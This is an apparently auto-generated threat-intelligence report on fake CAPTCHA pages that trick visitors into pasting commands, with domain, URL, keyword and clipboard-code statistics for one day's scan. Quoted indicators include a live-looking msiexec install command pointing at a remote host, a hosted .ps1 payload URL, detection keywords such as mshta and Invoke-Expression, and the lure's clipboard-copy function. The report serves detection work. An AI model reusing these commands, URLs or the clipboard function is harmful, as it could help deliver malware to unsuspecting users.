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Emerging ClickGrab Campaign: Advanced Analysis of 2025-12-01 Attack Patterns

📅 Published: December 01, 2025 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
20Sites
35%Detection
1PS Downloads

ClickGrab Threat Analysis Report - 2025-12-01

Generated on 2025-12-01 03:02:49

Executive Summary

  • Total sites analyzed: 20
  • Sites with malicious content: 7
  • Unique domains encountered: 20
  • Total URLs extracted: 75
  • PowerShell download attempts: 1
  • Clipboard manipulation instances: 30

Domain Analysis

Most Frequently Encountered Domains

  • www.webgo.de: 10 occurrences
  • www.google.com: 9 occurrences
  • godprox.cc: 8 occurrences
  • svetvip.ru: 8 occurrences
  • api.whatsapp.com: 6 occurrences
  • t.me: 4 occurrences
  • mc.yandex.ru: 4 occurrences
  • use.fontawesome.com: 3 occurrences
  • i.postimg.cc: 3 occurrences
  • vk.com: 2 occurrences
  • www.facebook.com: 2 occurrences
  • ok.ru: 2 occurrences
  • twitter.com: 2 occurrences
  • www.instagram.com: 2 occurrences
  • www.houzz.ru: 2 occurrences

URL Pattern Analysis

reCAPTCHA imagery

4 occurrences across 2 distinct URLs

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (3 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (1 times)

Font resources

3 occurrences across 1 distinct URLs

  • https://use.fontawesome.com/releases/v5.0.0/css/all.css (3 times)

CDN hosted scripts

1 occurrences across 1 distinct URLs

  • https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)

Google resources

10 occurrences across 5 distinct URLs

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (3 times)
  • https://www.google.com/intl/en/policies/privacy/ (2 times)
  • https://www.google.com/intl/en/policies/terms/ (2 times)
  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (2 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (1 times)

Suspicious Keyword Analysis

Total Keywords Found: 100 (33 unique)

Keyword Categories

Social Engineering

18 unique keywords

  • command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";
  • Verification Hash
  • I am not a robot
  • verification id
  • robot
  • Robot
  • CAPTCHA Verification
  • To better prove you are not a robot
  • exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";
  • verification
  • ...and 8 more

Obfuscation Indicators

1 unique keywords

  • command = obfuscatedCommandParts.map(partArray =>

System Commands

6 unique keywords

  • exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator)
  • Invoke
  • Invoke-Expression
  • exec(
  • command = "";
  • const command =

Verification Text

3 unique keywords

  • Hidden
  • hidden
  • ray id

Technical Terms

5 unique keywords

  • mshta
  • .exe
  • iex
  • Ray ID
  • failed_to_retrieve

Most Frequent Keywords

  • robot: 8 occurrences
  • hidden: 8 occurrences
  • CAPTCHA Verification: 6 occurrences
  • I am not a robot: 6 occurrences
  • Robot: 6 occurrences
  • Verification: 6 occurrences
  • verification-id: 6 occurrences
  • verification: 5 occurrences
  • To better prove you are not a robot: 5 occurrences
  • Verification ID: 5 occurrences
  • verification_id: 3 occurrences
  • Ray ID: 3 occurrences
  • Checking if you are human: 3 occurrences
  • Verify you are human: 3 occurrences
  • iex: 2 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: CAPTCHA Verification, Verification, verification

Group 2: Verification Hash, verification-id, verification_id, Verification ID, verification id

Group 3: Robot, robot

Group 4: Hidden, hidden

Group 5: Verify You Are Human, Checking if you are human, Verify you are human

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • com/i23/cioudfiare/verify/humanverfification/cioud...
  • obfuscatedCommandParts
  • 037f1448a70b7d0ce79e51d2912195d5
  • 0a3dc81df61926548cbb8e10c3713d6c
  • com/recaptcha/about/images/reCAPTCHA

Clipboard Manipulation Analysis

Detected clipboard manipulation in 30 instances.

Document.Execcommand Copy

Found in 17 snippets (56.7% of clipboard code)

Examples:

document.execCommand('copy')

document.execCommand("copy")

try { document.execCommand('copy')

Textarea Manipulation

Found in 17 snippets (56.7% of clipboard code)

Examples:

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

ng is the safe placeholder above const textarea = document.createElement('textarea'

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for web display. Full data available in JSON.